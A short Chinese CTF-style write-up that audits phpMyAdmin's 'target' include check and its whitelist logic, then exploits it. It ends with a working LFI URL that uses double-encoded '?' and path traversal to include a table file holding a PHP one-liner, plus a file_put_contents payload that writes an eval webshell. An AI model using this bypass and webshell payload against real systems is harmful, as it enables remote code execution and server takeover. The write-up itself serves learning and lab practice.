说实话现在的状态真的是难受的一批,想睡又睡不着,闹钟浑浑噩噩的,索性从床上爬起来写一下刚学的题吧
题目
文件包含
代码审计
全局搜include
代码审计优先级,直接传参大于间接传参
所以跟进 index.php文件下的include $_REQUEST[‘target’];
进行分析
1 2 3 4 5
| (! empty($_REQUEST['target']) //这里判断传进来的参数是否是空的,若不是返回true && is_string($_REQUEST['target']) //这里判断参数是否是字符串,若是返回true && ! preg_match('/^index/', $_REQUEST['target']) //这里判断参数是否是index开头的,若不是则返回true && ! in_array($_REQUEST['target'], $target_blacklist) //这里判断参数是否在黑名单中 && Core::checkPageValidity($_REQUEST['target']) //调用 Core::checkPageValidity($_REQUEST['target']) 方法,检查目标文件的有效性
|
跟进分析checkPageValidity
`
1
| public static function checkPageValidity(&$page, array $whitelist = []) //这里接收$page与$whitelist两个参数
|
1 2 3 4
| if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } 这里表示如果$whitelist为空的话则默认使用$goto_whitelist中的白名单
|
1 2 3 4
| if (! isset($page) || !is_string($page)) { return false; } //这里判断$page是否存在以及$page是否为字符串,若存在且是字符串则返回true
|
1 2 3 4
| if (in_array($page, $whitelist)) { return true; } 这里判断$page是否在白名单中,如果在返回true。如果不在则执行后面的代码。
|
1 2 3 4 5 6
| $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); 这里截取变量$page第一个'?'之前的字符串并将其赋给$_page
|
1 2 3 4
| if (in_array($_page, $whitelist)) { return true; } 这里判断$_是否在白名单中。
|
1 2
| $_page = urldecode($page); //这里对$page的值进行url解码
|
查询数据库所在位置
新建一个含有一句话木马的表
1 2 3 4
| http://ogazcjj5.ia.aqlab.cn/MySQL/data/bdyz/rce.frm
http://ogazcjj5.ia.aqlab.cn/lfi/phpmyadmin/?target=db_datadict.php%253F/../../../../MySQL/data/us/ta.frm&8=file_put_contents('2.php','<?php eval($_REQUEST[8]);?>');
|
连接成功
找到flag